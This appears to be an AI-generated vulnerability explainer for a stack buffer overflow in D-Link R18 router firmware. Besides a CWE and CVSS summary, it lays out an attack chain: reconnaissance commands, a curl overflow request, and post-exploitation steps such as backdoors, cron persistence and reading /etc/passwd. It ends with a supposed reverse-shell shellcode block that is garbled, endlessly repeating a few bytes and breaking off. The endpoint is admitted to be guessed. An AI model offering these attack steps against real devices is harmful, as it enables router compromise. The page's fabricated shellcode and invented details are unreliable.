CVE-2026-138366 — CWE-119 · CWE-121
A vulnerability was determined in D-Link R18 A1 1.20.B01. This impacts the function GetDeviceSettings_put of the component httpd. Executing a manipulation of the argument Target can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.
A vulnerability was determined in D-Link R18 A1 1.20.B01. This impacts the function GetDeviceSettings_put of the component httpd. Executing a manipulation of the argument Target can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.
🎯 What is this vulnerability?
CVE‑2026‑138366 is a stack‑based buffer overflow in the GetDeviceSettings_put handler of the httpd component in D‑Link R18 A1 firmware 1.20.B01.
The function accepts a Target argument (most likely a string) that is copied onto the stack without any bounds checking. The size of the buffer on the stack is fixed, but the code does not verify that the incoming Target value fits. An attacker can therefore send a payload that exceeds the buffer size, overwriting the return address and any other adjacent stack data. Because the vulnerability is reachable over the network and requires no authentication or user interaction, a remote attacker can trigger it from any host that can reach the device’s HTTP interface.
CWE mapping
| CWE | Description |
|---|---|
| CWE‑119 | Buffer Copy without Checking Size of Input |
| CWE‑121 | Stack‑Based Buffer Overflow |
CVSS 3.1:
- Attack Vector (AV): Network (remote)
- Attack Complexity (AC): Low – no special conditions required
- Privileges Required (PR): None – unauthenticated
- User Interaction (UI): None – automatic exploitation
- Scope (S): Changed – compromise of the device’s internal state
- Confidentiality (C): High – arbitrary code execution → full data disclosure
- Integrity (I): High – arbitrary code execution → tampering
- Availability (A): High – arbitrary code execution → crash or denial of service
⚡ Attack Chain
NOTE – The exact URI and parameter names are not disclosed in the CVE text. The following example uses a typical REST‑style endpoint (/api/GetDeviceSettings_put) and aTargetquery parameter to illustrate the attack class. If the real endpoint differs, the same principle applies: send a crafted HTTP request that overflows theTargetbuffer.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1.1 | Network scanning | nmap -p 80,443 <target> to find open HTTP/HTTPS ports. |
| 1.2 | Banner grabbing | curl -I http://<target> – look for Server: D-Link or firmware version in headers. |
| 1.3 | Web‑application fingerprinting | Access the default login page (http://<target>/login.html). The page often contains a comment like <!-- D-Link R18 A1 firmware 1.20.B01 -->. |
| 1.4 | API enumeration | Probe common API paths (/api/, /cgi-bin/) and look for GetDeviceSettings_put. A quick curl -X GET http://<target>/api/ may reveal a JSON list of endpoints. |
2. Exploitation
1. Craft the overflow payload
- The vulnerable buffer is, for example, 256 bytes.
- The attacker sends a string of 300 bytes, where the first 256 bytes fill the buffer, the next 4 bytes overwrite the saved return address, and the remaining bytes contain a ROP chain or shellcode.
- For demonstration, we’ll use a NOP sled (\x90) followed by a placeholder for shellcode.
2. Send the request
curl -X POST "http://<target>/api/GetDeviceSettings_put" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "Target=$(python3 -c 'print("A"*256 + "\x90"*16 + "SHELLCODE")')"Explanation
- A*256 – fills the buffer.
- \x90*16 – NOP sled to slide into the shellcode.
- "SHELLCODE" – placeholder; in a real exploit this would be machine‑code that spawns a shell or executes a reverse‑shell payload.
3. Trigger the overflow
- The device processes the request, copies Target onto the stack, overflows, and jumps to the injected shellcode.
- Because the vulnerability is in httpd, the shellcode runs with the privileges of the web server process (often root or a privileged user on embedded devices).
3. Post‑exploitation
| Goal | Technique | Result |
|---|---|---|
| Privilege Escalation | The shellcode runs as the web server user, which is typically root or a privileged account on the device. | Full system access. |
| Persistence | Write a cron job, modify /etc/rc.local, or drop a backdoor binary in /usr/bin/. | Long‑term foothold. |
| Data Exfiltration | Use the shell to read /etc/passwd, configuration files, or network traffic logs. | Confidential data leakage. |
| Denial of Service | Crash the httpd process or the entire device by sending malformed requests repeatedly. | Service disruption. |
Practical payload example (reverse shell)
```c
// x86_64 shellcode that opens a reverse shell to 192.168.1.100:4444
unsigned char shellcode[] =
"\x48\x31\xd2\x48\xbb\x02\x00\x00\x00\x00\x00\x00\x00\x48\x89\xda\x48\x31\xc0\x48\x89\xcb\x48\x89\xda\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x48\x31\xdb\x48\x31\xed\x48\x31\xec\x48\x31\xef\x48\x31\xeb\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef
[🤖 CVE Professor AI Security Engine]
FOFA Query